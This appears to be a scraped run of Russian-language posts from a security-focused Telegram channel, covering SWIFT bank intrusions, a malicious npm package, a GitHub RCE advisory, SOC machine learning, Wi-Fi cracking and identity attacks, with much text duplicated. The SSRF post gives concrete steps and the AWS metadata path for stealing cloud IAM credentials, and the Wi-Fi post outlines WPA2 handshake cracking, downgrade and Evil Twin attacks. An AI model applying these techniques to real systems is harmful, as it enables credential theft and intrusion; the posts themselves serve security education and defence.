19 дней от фишингового письма до терминала SWIFT: как устроены атаки на банки
На одном red team проекте для банка из топ-30 команда прошла путь от spear-phishing письма до операторского АРМ SWIFT за 19 дней. Два файрвола, выделенный VLAN, формально изолированная secure zone — всё это обнулил один сервисный аккаунт с правами на обе зоны. Сегментация превратилась в декорацию.
И это не уникальный случай. Тот же сценарий — почти покадрово — использовала Lazarus Group при взломе Bangladesh Bank ($81 млн украденных средств) и группировка Cobalt в атаке на российский «Глобэкс».
🔑 Главный инсайт: ни одна крупная атака на SWIFT не эксплуатировала уязвимость в самом протоколе. Каждый раз это многонедельная APT-операция через людей и корпоративную сеть вокруг secure zone.
Как выглядит kill chain на практике:
• Initial Access — таргетированное письмо оператору банка. Вложение замаскировано под платёжное поручение или запрос регулятора. PDF с макросами, иногда заражённая USB-флешка. Цель — закрепиться на любой рабочей станции в офисном сегменте.
• Lateral Movement — самая долгая фаза. Атакующий перехватывает пароли через кейлоггер, снимает скриншоты рабочих столов, чтобы понять бизнес-процессы и вычислить операторов SWIFT. Среднее время от проникновения до вывода средств — 3–4 недели. Всё это время сигнатурные детекты молчат: аутентификация идёт под легитимными учётками.
• Финал — формирование поддельных SWIFT-сообщений (MT103 для клиентских переводов, MT202 для межбанковских), модификация серверного ПО Alliance Access, чтобы подавить печать подтверждений и стереть записи из базы транзакций.
⚠️ Отдельный вектор, о котором мало говорят: в России до 2018 года ряд банков работал со SWIFT через сервис-бюро — посредников с доступом к IP-адресам и критической инфраструктуре клиентов. Компрометация одного такого посредника открывала путь сразу к десяткам банков. По сути — supply chain attack на финансовый сектор целой страны.
Что реально помогает защититься:
• EDR-агенты на каждом эндпоинте secure zone (а не только в офисном сегменте) — legacy-системы на Windows Server 2008/2012 часто остаются без покрытия вообще
• Поведенческий анализ аутентификаций — валидные учётки не ловятся сигнатурами
• Жёсткая ревизия сервисных аккаунтов с кросс-зонными правами — именно они превращают сегментацию в фикцию
📌 В полной статье — маппинг каждого шага на MITRE ATT&CK, разбор реальных инцидентов и готовые Sigma-правила для детекта.
https://codeby.net/threads/ataki-na-swift-i-mezhbankovskiye-sistemy-kill-chain-ot-fishinga-do-vyvoda-sredstv.92972/
На одном red team проекте для банка из топ-30 команда прошла путь от spear-phishing письма до операторского АРМ SWIFT за 19 дней. Два файрвола, выделенный VLAN, формально изолированная secure zone — всё это обнулил один сервисный аккаунт с правами на обе зоны. Сегментация превратилась в декорацию.
И это не уникальный случай. Тот же сценарий — почти покадрово — использовала Lazarus Group при взломе Bangladesh Bank ($81 млн украденных средств) и группировка Cobalt в атаке на российский «Глобэкс».
🔑 Главный инсайт: ни одна крупная атака на SWIFT не эксплуатировала уязвимость в самом протоколе. Каждый раз это многонедельная APT-операция через людей и корпоративную сеть вокруг secure zone.
Как выглядит kill chain на практике:
• Initial Access — таргетированное письмо оператору банка. Вложение замаскировано под платёжное поручение или запрос регулятора. PDF с макросами, иногда заражённая USB-флешка. Цель — закрепиться на любой рабочей станции в офисном сегменте.
• Lateral Movement — самая долгая фаза. Атакующий перехватывает пароли через кейлоггер, снимает скриншоты рабочих столов, чтобы понять бизнес-процессы и вычислить операторов SWIFT. Среднее время от проникновения до вывода средств — 3–4 недели. Всё это время сигнатурные детекты молчат: аутентификация идёт под легитимными учётками.
• Финал — формирование поддельных SWIFT-сообщений (MT103 для клиентских переводов, MT202 для межбанковских), модификация серверного ПО Alliance Access, чтобы подавить печать подтверждений и стереть записи из базы транзакций.
⚠️ Отдельный вектор, о котором мало говорят: в России до 2018 года ряд банков работал со SWIFT через сервис-бюро — посредников с доступом к IP-адресам и критической инфраструктуре клиентов. Компрометация одного такого посредника открывала путь сразу к десяткам банков. По сути — supply chain attack на финансовый сектор целой страны.
Что реально помогает защититься:
• EDR-агенты на каждом эндпоинте secure zone (а не только в офисном сегменте) — legacy-системы на Windows Server 2008/2012 часто остаются без покрытия вообще
• Поведенческий анализ аутентификаций — валидные учётки не ловятся сигнатурами
• Жёсткая ревизия сервисных аккаунтов с кросс-зонными правами — именно они превращают сегментацию в фикцию
📌 В полной статье — маппинг каждого шага на MITRE ATT&CK, разбор реальных инцидентов и готовые Sigma-правила для детекта.
https://codeby.net/threads/ataki-na-swift-i-mezhbankovskiye-sistemy-kill-chain-ot-fishinga-do-vyvoda-sredstv.92972/
👍11❤5🔥4👎2🤬1😈1
Взломанные npm-пакеты распространяют вредоносное ПО
⏺️ Специалисты Sonatype Security Research обнаружили два скомпрометированных npm-пакета в экосистеме React Native, которые вместе набирают свыше 30 000 загрузок еженедельно и были изменены для доставки многоэтапного вредоносного ПО.
🧠 Исследователи StepSecure первыми зафиксировали этот случай, выявили вредоносные версии и сообщили создателю пакетов, который сразу же отказался от их поддержки. Анализ C2-инфраструктуры показал совпадение IP-адресов с теми, что ранее ассоциировались с кампанией Glassworm.
🕸 В рамках регулярного сканирования open source экосистем Sonatype наткнулась на вредоносные обновления этих двух React Native пакетов. Пакеты впоследствии удалили из npm, но из-за их широкой популярности в сообществе возникает беспокойство за безопасность dev-сред и CI/CD-пайплайнов.
Процесс извлечения полезной нагрузки осуществляется следующим образом:
1️⃣ Скрипт создает файл с именем init.json в домашнем каталоге пользователя, чтобы предотвратить его повторное выполнение в течение примерно двух дней.
2️⃣ Скрипт опрашивает RPC-терминалы Solana каждые 10 секунд на предмет транзакций, связанных с конкретным адресом кошелька.
3️⃣ При обнаружении транзакции, содержащей поле типа "memo", скрипт рассматривает это поле как контейнер команд.
4️⃣ Числовой префикс удаляется, а оставшееся содержимое анализируется как конфигурационные данные в формате JSON.
5️⃣ JSON-файл содержит закодированный в base64 URL-адрес, указывающий на полезную нагрузку второго этапа.
6️⃣ Скрипт декодирует URL-адрес и загружает полезную нагрузку, отправляя при этом операционную систему хоста в составе запроса.
7️⃣ Заголовки ответа содержат дополнительные параметры, такие как ivbase64 и secretkey .
8️⃣ Полезная нагрузка декодируется в формате base64 и выполняется непосредственно в памяти с помощью eval или виртуальной машины Node.js в изолированной среде на системах, отличных от macOS.
➡️ Встречали подобную атаку ранее?
#npm #malware #react #research
🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером
Процесс извлечения полезной нагрузки осуществляется следующим образом:
#npm #malware #react #research
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9❤5🔥5🤯2
Друзья
9 Мая – день памяти, уважения и благодарности тем, кто прошёл через тяжелейшие испытания и подарил нам возможность жить, учиться, работать и строить будущее.
Пусть этот день напоминает о ценности мира, силе единства, уважении к истории и важности беречь то, что действительно дорого.
Желаем Вам и Вашим близким здоровья, спокойствия, добра и мира.
С Днём Победы!
Команда Codeby
9 Мая – день памяти, уважения и благодарности тем, кто прошёл через тяжелейшие испытания и подарил нам возможность жить, учиться, работать и строить будущее.
Пусть этот день напоминает о ценности мира, силе единства, уважении к истории и важности беречь то, что действительно дорого.
Желаем Вам и Вашим близким здоровья, спокойствия, добра и мира.
С Днём Победы!
Команда Codeby
❤🔥54🎉19❤12😐4👎3👾2👍1🙈1🫡1🙉1🙊1
Полный список можно посмотреть здесь, но перед этим рекомендуем сделать:
sudo apt update && sudo apt upgrade apache2
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13❤4🔥4😁1
3 847 алертов за ночь — и ни один не поймал lateral movement
Представьте: утро понедельника, дашборд SOC завален почти четырьмя тысячами алертов. Из них 12 помечены как medium, остальные — low или informational. Где-то в этой каше прячется реальная атака: сервисная учётка аутентифицируется на 14 хостах за 40 минут. Ни одно правило корреляции не подняло приоритет. Нашли через 48 часов — по жалобе пользователя.
Знакомая история? Корреляционные правила работают отлично, когда атакующий действует по учебнику: пять неудачных логинов за минуту — срабатывание на Brute Force. Но если злоумышленник использует легитимные учётные данные, полученные через фишинг или утечку, каждое событие по отдельности выглядит нормально. Порога для срабатывания просто нет.
🔍 Именно здесь включается ML-scoring. После того инцидента внедрили модель на Isolation Forest — unsupervised алгоритм, который не требует размеченных данных. Он строит ансамбль деревьев, изолирующих каждое наблюдение. Аномалии отделяются быстрее — меньше разбиений нужно, чтобы вычленить их из общей массы. Аналогичный паттерн lateral movement теперь получает risk score 94 из 100 за секунды. Реакция — 12 минут вместо двух суток.
Но вот что важно понимать: это не магия. Модель работала поверх тех же логов, которые уже лежали в SIEM. Разница — в feature engineering: количество уникальных хостов за окно, доля неудачных попыток, частота DNS-запросов, объёмы трафика по направлениям.
📊 По данным SANS 2024 SOC Survey, удовлетворённость SOC-команд ML-инструментами — 2.17 из 5. Предпоследнее место среди всех категорий. Причина не в технологии, а в подходе: включили «из коробки» — не заработало — выключили. Без адаптации к конкретной среде ML в SOC обречён.
Три класса угроз, где правила бессильны, а ML закрывает брешь:
• Скомпрометированные легитимные учётки — сигнатуры нет, есть поведенческое отклонение
• Low-and-slow атаки — действия растянуты во времени и не пробивают пороги
• Insider threat — пользователь действует в рамках прав, но с аномальным паттерном
⚙️ Какие алгоритмы работают на практике? Isolation Forest — для сетевых аномалий и аутентификации. Autoencoders — основа UEBA, профилирование поведения пользователей и сущностей. One-Class SVM — для baseline конкретных хостов и сервисов. У каждого свои ограничения: Isolation Forest теряет точность при 30+ признаках, autoencoders чувствительны к drift и требуют переобучения каждые 2-4 недели.
Полный разбор с примерами feature engineering, вендорной спецификой и практическими граблями внедрений — в статье на форуме.
https://codeby.net/threads/machine-learning-v-kiberbezopasnosti-kak-ml-scoring-sokratil-triazh-soc-s-tysyach-alertov-do-desyatkov.93016/
Представьте: утро понедельника, дашборд SOC завален почти четырьмя тысячами алертов. Из них 12 помечены как medium, остальные — low или informational. Где-то в этой каше прячется реальная атака: сервисная учётка аутентифицируется на 14 хостах за 40 минут. Ни одно правило корреляции не подняло приоритет. Нашли через 48 часов — по жалобе пользователя.
Знакомая история? Корреляционные правила работают отлично, когда атакующий действует по учебнику: пять неудачных логинов за минуту — срабатывание на Brute Force. Но если злоумышленник использует легитимные учётные данные, полученные через фишинг или утечку, каждое событие по отдельности выглядит нормально. Порога для срабатывания просто нет.
🔍 Именно здесь включается ML-scoring. После того инцидента внедрили модель на Isolation Forest — unsupervised алгоритм, который не требует размеченных данных. Он строит ансамбль деревьев, изолирующих каждое наблюдение. Аномалии отделяются быстрее — меньше разбиений нужно, чтобы вычленить их из общей массы. Аналогичный паттерн lateral movement теперь получает risk score 94 из 100 за секунды. Реакция — 12 минут вместо двух суток.
Но вот что важно понимать: это не магия. Модель работала поверх тех же логов, которые уже лежали в SIEM. Разница — в feature engineering: количество уникальных хостов за окно, доля неудачных попыток, частота DNS-запросов, объёмы трафика по направлениям.
📊 По данным SANS 2024 SOC Survey, удовлетворённость SOC-команд ML-инструментами — 2.17 из 5. Предпоследнее место среди всех категорий. Причина не в технологии, а в подходе: включили «из коробки» — не заработало — выключили. Без адаптации к конкретной среде ML в SOC обречён.
Три класса угроз, где правила бессильны, а ML закрывает брешь:
• Скомпрометированные легитимные учётки — сигнатуры нет, есть поведенческое отклонение
• Low-and-slow атаки — действия растянуты во времени и не пробивают пороги
• Insider threat — пользователь действует в рамках прав, но с аномальным паттерном
⚙️ Какие алгоритмы работают на практике? Isolation Forest — для сетевых аномалий и аутентификации. Autoencoders — основа UEBA, профилирование поведения пользователей и сущностей. One-Class SVM — для baseline конкретных хостов и сервисов. У каждого свои ограничения: Isolation Forest теряет точность при 30+ признаках, autoencoders чувствительны к drift и требуют переобучения каждые 2-4 недели.
Полный разбор с примерами feature engineering, вендорной спецификой и практическими граблями внедрений — в статье на форуме.
https://codeby.net/threads/machine-learning-v-kiberbezopasnosti-kak-ml-scoring-sokratil-triazh-soc-s-tysyach-alertov-do-desyatkov.93016/
👍7❤6🔥3👎1😁1
Три GET-запроса до полного доступа: как SSRF превращается в ключи от облака
Представьте: обычный PDF-генератор в финтех-приложении принимает URL для рендера документа. Подставляем
Это не лабораторный сценарий. В марте 2025 года F5 Labs зафиксировала массовую кампанию: атакующие перебирали шесть вариантов параметров (
🔑 Почему в облаке всё иначе?
На классическом сервере SSRF — это чтение
Instance Metadata Service v1 в AWS не требует вообще ничего — ни токенов, ни заголовков. Простой GET на link-local адрес
⚡️ Цепочка эксплуатации — три шага:
1. Подставляем в уязвимый параметр путь к metadata — получаем имя IAM-роли (например,
2. Запрашиваем credentials конкретной роли — получаем JSON с
3. Экспортируем переменные окружения, запускаем
Бонус: endpoint
🛡 А что с GCP и Azure?
Google Cloud требует заголовок
По MITRE ATT&CK цепочка выглядит так: SSRF как initial access (T1190) → кража credentials через metadata (T1552.005) → аутентификация в облачном API → перечисление ресурсов → выгрузка данных. Шесть шагов от веб-формы до полного компрометирования аккаунта.
Полный разбор с командами, байпасами IMDSv2 и постэксплуатацией — в статье на форуме.
https://codeby.net/threads/ssrf-ataka-na-oblachnyye-credentials-ekspluatatsiya-metadata-endpoint-ot-imdsv1-do-post-ekspluatatsii.93011/
Представьте: обычный PDF-генератор в финтех-приложении принимает URL для рендера документа. Подставляем
http://169.254.169.254/latest/meta-data/iam/security-credentials/ — и через одиннадцать минут уже выполняем aws s3 ls с credentials IAM-роли, у которой права на S3 и DynamoDB.Это не лабораторный сценарий. В марте 2025 года F5 Labs зафиксировала массовую кампанию: атакующие перебирали шесть вариантов параметров (
dest, file, redirect, target, uri, url) в сочетании с четырьмя путями к metadata endpoint. Автоматизированно, по всему интернету.🔑 Почему в облаке всё иначе?
На классическом сервере SSRF — это чтение
/etc/passwd или сканирование внутренних портов. Неприятно, но терпимо. В облаке та же уязвимость открывает доступ к временным токенам IAM-роли, а это — путь ко всему аккаунту. Разница как между ключом от подсобки и мастер-картой от целого здания.Instance Metadata Service v1 в AWS не требует вообще ничего — ни токенов, ни заголовков. Простой GET на link-local адрес
169.254.169.254 возвращает всё. SSRF делает запрос от имени сервера, то есть изнутри — приложение само ходит за своими credentials и отдаёт их вам.⚡️ Цепочка эксплуатации — три шага:
1. Подставляем в уязвимый параметр путь к metadata — получаем имя IAM-роли (например,
webapp-prod-role)2. Запрашиваем credentials конкретной роли — получаем JSON с
AccessKeyId, SecretAccessKey и SessionToken3. Экспортируем переменные окружения, запускаем
aws sts get-caller-identity — если в ответе ARN роли, credentials рабочиеБонус: endpoint
/latest/user-data часто содержит скрипты инициализации с паролями баз данных и API-ключами, которые разработчики вписали «для удобства при запуске». Удобно всем — особенно атакующему.🛡 А что с GCP и Azure?
Google Cloud требует заголовок
Metadata-Flavor: Google, Azure — Metadata: true. Это усложняет атаку, но не закрывает её: если SSRF позволяет контролировать заголовки или есть CRLF-инъекция в URL-параметре, барьер обходится. А в ECS-контейнерах credentials живут по другому адресу — 169.254.170.2, и путь к ним лежит в /proc/self/environ.По MITRE ATT&CK цепочка выглядит так: SSRF как initial access (T1190) → кража credentials через metadata (T1552.005) → аутентификация в облачном API → перечисление ресурсов → выгрузка данных. Шесть шагов от веб-формы до полного компрометирования аккаунта.
Полный разбор с командами, байпасами IMDSv2 и постэксплуатацией — в статье на форуме.
https://codeby.net/threads/ssrf-ataka-na-oblachnyye-credentials-ekspluatatsiya-metadata-endpoint-ot-imdsv1-do-post-ekspluatatsii.93011/
❤9👍6🔥4👎1😁1
Каждая пятая компания из субъектов КИИ признала: к сроку не успеем
Опрос BISA за 2024 год — только 7% организаций полностью выполнили требования указа №166. Ещё 8% «планировали успеть». Остальные — кто в частичном соответствии, кто честно разводит руками. И это не абстрактная статистика — за ней стоят реальные SOC-команды, которые прямо сейчас пытаются пересадить боевую инфраструктуру со Splunk и CrowdStrike на отечественные аналоги.
Мы собрали полную карту импортозамещения в ИБ на 2025–2026 годы и вот что бросается в глаза.
🔹 Три указа — три разных дедлайна. Указ №166 запрещает использование иностранного ПО на значимых объектах КИИ с 1 января 2025. Указ №250 добавляет персональную ответственность руководителей и запрет на СЗИ из недружественных стран. А указ №309 расширяет круг субъектов, обязанных взаимодействовать с ГосСОПКА. Путаница между ними — ошибка, которую допускают даже опытные ИБ-руководители.
🔹 Рынок вырос до 191,7 млрд рублей. Solar, Bi.Zone, Positive Technologies скупили стартапы и сформировали собственные стеки. Три года назад российские продукты закрывали от силы 60% нужных функций. Сегодня разрыв сократился, но между маркетинговыми обещаниями и поведением на боевой инфраструктуре по-прежнему пропасть.
🔹 Штрафы и уголовка — не абстрактная угроза. Административка по ст. 13.12 КоАП — до 500 тысяч рублей. А если инцидент произошёл из-за нарушения правил эксплуатации значимого объекта КИИ, ст. 274.1 УК РФ предусматривает до 10 лет лишения свободы. Персональная ответственность теперь лежит на первом лице организации.
Что важно для практика прямо сейчас:
• SIEM — MaxPatrol SIEM и KUMA стали основными претендентами на замену Splunk и QRadar. Но миграция правил корреляции — это не «экспорт-импорт», а полноценная переработка логики под другую архитектуру.
• EDR — PT Sandbox, Kaspersky EDR тестируются с позиции Red Team, и результаты отличаются от того, что обещают даташиты.
• Сканеры уязвимостей — MaxPatrol VM, RedCheck, ScanFactory закрывают разные ниши. Универсального решения нет, и выбор зависит от масштаба инфраструктуры.
• WAF и NGFW — PT AF, UserGate, Континент конкурируют, но у каждого свои слепые зоны, видимые только при пентесте.
Отдельная боль — сертификация ФСТЭК и ФСБ. Класс защиты СЗИ привязан к категории информационной системы, и ошибка в выборе класса может обнулить весь проект миграции.
В полной статье — навигационная карта по каждому классу решений с детальными разборами и сравнениями на реальной инфраструктуре.
https://codeby.net/threads/importozameshcheniye-v-informatsionnoi-bezopasnosti-polnaya-karta-rossiiskikh-siem-edr-skanerov-i-waf-dlya-praktika.93019/
Опрос BISA за 2024 год — только 7% организаций полностью выполнили требования указа №166. Ещё 8% «планировали успеть». Остальные — кто в частичном соответствии, кто честно разводит руками. И это не абстрактная статистика — за ней стоят реальные SOC-команды, которые прямо сейчас пытаются пересадить боевую инфраструктуру со Splunk и CrowdStrike на отечественные аналоги.
Мы собрали полную карту импортозамещения в ИБ на 2025–2026 годы и вот что бросается в глаза.
🔹 Три указа — три разных дедлайна. Указ №166 запрещает использование иностранного ПО на значимых объектах КИИ с 1 января 2025. Указ №250 добавляет персональную ответственность руководителей и запрет на СЗИ из недружественных стран. А указ №309 расширяет круг субъектов, обязанных взаимодействовать с ГосСОПКА. Путаница между ними — ошибка, которую допускают даже опытные ИБ-руководители.
🔹 Рынок вырос до 191,7 млрд рублей. Solar, Bi.Zone, Positive Technologies скупили стартапы и сформировали собственные стеки. Три года назад российские продукты закрывали от силы 60% нужных функций. Сегодня разрыв сократился, но между маркетинговыми обещаниями и поведением на боевой инфраструктуре по-прежнему пропасть.
🔹 Штрафы и уголовка — не абстрактная угроза. Административка по ст. 13.12 КоАП — до 500 тысяч рублей. А если инцидент произошёл из-за нарушения правил эксплуатации значимого объекта КИИ, ст. 274.1 УК РФ предусматривает до 10 лет лишения свободы. Персональная ответственность теперь лежит на первом лице организации.
Что важно для практика прямо сейчас:
• SIEM — MaxPatrol SIEM и KUMA стали основными претендентами на замену Splunk и QRadar. Но миграция правил корреляции — это не «экспорт-импорт», а полноценная переработка логики под другую архитектуру.
• EDR — PT Sandbox, Kaspersky EDR тестируются с позиции Red Team, и результаты отличаются от того, что обещают даташиты.
• Сканеры уязвимостей — MaxPatrol VM, RedCheck, ScanFactory закрывают разные ниши. Универсального решения нет, и выбор зависит от масштаба инфраструктуры.
• WAF и NGFW — PT AF, UserGate, Континент конкурируют, но у каждого свои слепые зоны, видимые только при пентесте.
Отдельная боль — сертификация ФСТЭК и ФСБ. Класс защиты СЗИ привязан к категории информационной системы, и ошибка в выборе класса может обнулить весь проект миграции.
В полной статье — навигационная карта по каждому классу решений с детальными разборами и сравнениями на реальной инфраструктуре.
https://codeby.net/threads/importozameshcheniye-v-informatsionnoi-bezopasnosti-polnaya-karta-rossiiskikh-siem-edr-skanerov-i-waf-dlya-praktika.93019/
👍10❤4🔥3👎2
GitHub в опасности!
🧿 Исследователи обнаружили критическую уязвимость в GitHub.com и GitHub Enterprise Server, позволяющую аутентифицированному пользователю выполнить удалённый код (RCE) с помощью команды git push
🎯 Уязвимость CVE-2026-3854 (CVSS 8.7) — это инъекция команд через опции git push, которые не нормализовались перед включением в внутренний заголовок X-Stat. Разделитель (точка с запятой) из пользовательского ввода позволял получить дополнительные метаданные, обходя sandbox и хуки.
❗️ Компания Wiz, занимающаяся облачной безопасностью, принадлежащая Google, обнаружила проблему и сообщила о ней 4 марта 2026 года, после чего GitHub проверил и внедрил исправление на GitHub.com в течение двух часов.
Уязвимость также была устранена в версиях GitHub Enterprise Server 3.14.25, 3.15.20, 3.16.16, 3.17.13, 3.18.8, 3.19.4, 3.20.0, или более поздних. Нет никаких свидетельств того, что проблема когда-либо использовалась злоумышленниками, но исключать её из внимания не стоит.
⬇️ При выполнении команды git push пользовательские значения опций push не подвергались должной очистке перед передачей во внутренние сервисные заголовки. Формат этих заголовков опирался на разделитель, который мог встречаться в обычном вводе пользователя, позволяя атакующему через специально подготовленные опции внедрять произвольные поля метаданных. Проблему выявили и сообщили через программу GitHub Bug Bounty
🧠 По данным GitHub, проблема затрагивает GitHub.com, GitHub Enterprise Cloud, GitHub Enterprise Cloud с функцией Data Residency, GitHub Enterprise Cloud с функцией Enterprise Managed Users и GitHub Enterprise Server.
🕸 Несмотря на быстрое исправление уязвимости, будьте внимательны и обращайте на каждую деталь в инфраструктуре!
#github #cve #research
🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером
Уязвимость также была устранена в версиях GitHub Enterprise Server 3.14.25, 3.15.20, 3.16.16, 3.17.13, 3.18.8, 3.19.4, 3.20.0, или более поздних. Нет никаких свидетельств того, что проблема когда-либо использовалась злоумышленниками, но исключать её из внимания не стоит.
#github #cve #research
Please open Telegram to view this post
VIEW IN TELEGRAM
❤5👍4🔥2😁2👀2
В России снизилась доступность крупнейшей в мире платформы для IT-разработки GitHub. Доступность к сервису начала снижаться 5 мая: количество неудачных подключений к сайту в этот день достигло 10%. 6 и 7 мая оно выросло до 16%.
Роскомнадзор сообщил, что доступ к сервисам GitHub не блокирует.
По данным OONI, в США, Великобритании и Германии таких проблем не наблюдается, проблема затрагивает только РФ.
На днях депутат по информационной политике Горелкин написал в своём ТГК:
Процент неудачных соединений с платформой, которую многие отечественные программисты используют для совместной работы с кодом, превысил 16%. Интересно, что проблема коснулась только пользователей из РФ – и поскольку РКН сообщает, что не ограничивает работу GitHub, остается лишь один вариант: сознательная дискриминация российских пользователей администрацией платформы. Эта компания не просто ушла из России, но занимается откровенным вредительством (чего, например, стоит тенденциозное «исследование» уровня внедрения ИИ). Так что не нужно удивляться проблемам с доступом к GitHub с территории РФ – думаю, что количество неудачных соединений с 16% уже скоро достигнет всех 100%.
Поэтому я бы рекомендовал нашим разработчикам срочно переносить свои проекты на другие Git-репозитории. Да, за многие годы (и задолго до прихода Microsoft) GitHub стал не просто отраслевым стандартом, а центральной точкой многих систем. Но от этой зависимости пора уходить – тем более есть хорошие отечественные аналоги.
GitHub нет в реестре запрещённых сайтов Роскомнадзора, то есть официально сервис не заблокирован, однако запрещены более 130 страниц сервиса.
#news #github #rkn #it
Please open Telegram to view this post
VIEW IN TELEGRAM
1🙉9❤3👍3🔥3🤬1
11 минут на одной RTX 4090 — и корпоративный Wi-Fi сдался
На недавнем Red Team проекте для крупного ритейлера точку входа во внутренний периметр нашли не через VPN, не через фишинг — а через Wi-Fi с WPA2-PSK. Пароль был вида
И это не единичный случай. Компании вкладывают миллионы в WAF, EDR, SIEM, а беспроводной вектор остаётся слепым пятном. Wi-Fi — один из самых недооценённых путей initial access в реальных пентестах.
🔑 Почему это работает так легко?
WPA2-PSK уязвим к офлайн-перебору. Атакующему достаточно перехватить PMKID (даже без подключённых клиентов!) или классический 4-way handshake после деаутентификации. Дальше — дело GPU. На RTX 3090 Hashcat выдаёт около 1 MH/s на WPA-PBKDF2, на RTX 4090 — до 1.8 MH/s. Словарь rockyou с мутациями (~1 млрд кандидатов) прогоняется за 10–15 минут. Восьмизначный цифровой пароль падает ещё быстрее.
Но есть нюанс: 12+ случайных символов со спецсимволами — вне досягаемости любого текущего железа. Разница между "взломали за 11 минут" и "не взломали вообще" — буквально в качестве пароля.
📡 А что с WPA3?
WPA3-SAE убирает офлайн-перебор — протокол Dragonfly не отдаёт хеш для брутфорса. Звучит надёжно. Но на практике большинство корпоративных сетей работают в Transition Mode (WPA2 + WPA3 одновременно), чтобы не ломать совместимость со старыми устройствами. А это значит — атакующий просто принудительно даунгрейдит клиента до WPA2 и работает по старой схеме. Transition Mode — это иллюзия безопасности, а не реальная защита.
⚙️ Ещё один мощный вектор — Evil Twin. Поднимаешь поддельную точку доступа с тем же SSID, деаутентифицируешь клиентов от настоящей — и они переподключаются к тебе. Для WPA2-Enterprise это вообще золотая жила: инструмент
Что из этого следует? Беспроводной пентест — не экзотика, а обязательная часть аудита. И техники, и инструменты давно зрелые. В полном гайде — пошаговые команды, выбор адаптеров, разведка эфира и разбор каждого вектора с примерами.
https://codeby.net/threads/vzlom-wifi-ataki-na-wpa2-i-wpa3-prakticheskii-gaid-dlya-pentestera.93030/
На недавнем Red Team проекте для крупного ритейлера точку входа во внутренний периметр нашли не через VPN, не через фишинг — а через Wi-Fi с WPA2-PSK. Пароль был вида
Company2024! — название компании, год, восклицательный знак. Hashcat со словарём rockyou и правилом best64 разобрался за считанные минуты. Итог: три этажа офиса, двести сотрудников, VLAN-сегментация — всё доступно с парковки через направленную антенну.И это не единичный случай. Компании вкладывают миллионы в WAF, EDR, SIEM, а беспроводной вектор остаётся слепым пятном. Wi-Fi — один из самых недооценённых путей initial access в реальных пентестах.
🔑 Почему это работает так легко?
WPA2-PSK уязвим к офлайн-перебору. Атакующему достаточно перехватить PMKID (даже без подключённых клиентов!) или классический 4-way handshake после деаутентификации. Дальше — дело GPU. На RTX 3090 Hashcat выдаёт около 1 MH/s на WPA-PBKDF2, на RTX 4090 — до 1.8 MH/s. Словарь rockyou с мутациями (~1 млрд кандидатов) прогоняется за 10–15 минут. Восьмизначный цифровой пароль падает ещё быстрее.
Но есть нюанс: 12+ случайных символов со спецсимволами — вне досягаемости любого текущего железа. Разница между "взломали за 11 минут" и "не взломали вообще" — буквально в качестве пароля.
📡 А что с WPA3?
WPA3-SAE убирает офлайн-перебор — протокол Dragonfly не отдаёт хеш для брутфорса. Звучит надёжно. Но на практике большинство корпоративных сетей работают в Transition Mode (WPA2 + WPA3 одновременно), чтобы не ломать совместимость со старыми устройствами. А это значит — атакующий просто принудительно даунгрейдит клиента до WPA2 и работает по старой схеме. Transition Mode — это иллюзия безопасности, а не реальная защита.
⚙️ Ещё один мощный вектор — Evil Twin. Поднимаешь поддельную точку доступа с тем же SSID, деаутентифицируешь клиентов от настоящей — и они переподключаются к тебе. Для WPA2-Enterprise это вообще золотая жила: инструмент
eaphammer поднимает фейковый RADIUS и собирает доменные учётки в открытом виде, если клиенты не валидируют сертификат сервера.Что из этого следует? Беспроводной пентест — не экзотика, а обязательная часть аудита. И техники, и инструменты давно зрелые. В полном гайде — пошаговые команды, выбор адаптеров, разведка эфира и разбор каждого вектора с примерами.
https://codeby.net/threads/vzlom-wifi-ataki-na-wpa2-i-wpa3-prakticheskii-gaid-dlya-pentestera.93030/
❤14👍6🔥6👎1😱1
75% вторжений в 2024 году — без единого эксплойта. Атакующие просто вошли.
Не через уязвимость. Не через zero-day. Через дверь — с валидным логином и паролем. Среднее время от входа до латерального перемещения по сети — 62 минуты, а рекорд — 51 секунда. Identity стала главным вектором атак, и вот почему это касается каждого.
🔑 Мы привыкли думать, что MFA решает проблему. Но в реальности второй фактор — это замедлитель, а не стена. AiTM-прокси вроде
⚡️ Цепочка атаки выглядит как лестница из четырёх ступеней:
1. Учётные данные — credential stuffing из утёкших баз, password spraying, покупка логов у инфостилеров. По Verizon DBIR 2025, 38% утечек начинаются именно так.
2. Обход MFA — AiTM-фишинг, перехват OTP, push-бомбинг.
3. Токены и билеты — OAuth-токены, Kerberos TGT/TGS, Primary Refresh Token в Azure AD. Всё это работает без пароля и без MFA. Pass-the-Ticket, Pass-the-Cookie, token replay — атакующий действует от имени легитимного пользователя.
4. Закрепление — Golden Ticket, долгоживущие refresh tokens, скомпрометированный Identity Provider. Сброс пароля жертвы на этом этапе уже ничего не даёт.
🎯 Отдельная боль — Kerberos. Протоколу больше 30 лет, но он по-прежнему ядро аутентификации Active Directory. Kerberoasting не требует привилегий Domain Admin. Любой доменный пользователь запрашивает сервисный билет, зашифрованный хэшем пароля сервисной учётки, и крекает его офлайн. KDC при этом видит абсолютно легитимный запрос. AS-REP Roasting ещё проще — для аккаунтов с отключённой преаутентификацией доменная учётка даже не нужна.
И ещё одна цифра, которая должна не давать спать спокойно: медианное время исправления утёкшего секрета на GitHub — 94 дня. Три месяца API-ключ или токен лежит в открытом доступе. Понятие «учётные данные» давно вышло за рамки логина и пароля — теперь это JWT, API-ключи, CI/CD-секреты, сервисные аккаунты облаков.
🛡 Что делать прямо сейчас? Проверьте AD на Kerberoastable-аккаунты и учётки без преаутентификации. Внедрите FIDO2 вместо SMS и push. Мониторьте аномальные запросы TGS-билетов. Это минимум, который закрывает самые массовые векторы.
В полной статье — детальная карта атак на identity с разбором каждой техники, инструментов и методов детекта.
https://codeby.net/threads/ataki-na-autentifikatsiyu-polnyi-razbor-tekhnik-komprometatsii-oauth-mfa-kerberos-i-identity-infrastruktury.93646/
Не через уязвимость. Не через zero-day. Через дверь — с валидным логином и паролем. Среднее время от входа до латерального перемещения по сети — 62 минуты, а рекорд — 51 секунда. Identity стала главным вектором атак, и вот почему это касается каждого.
🔑 Мы привыкли думать, что MFA решает проблему. Но в реальности второй фактор — это замедлитель, а не стена. AiTM-прокси вроде
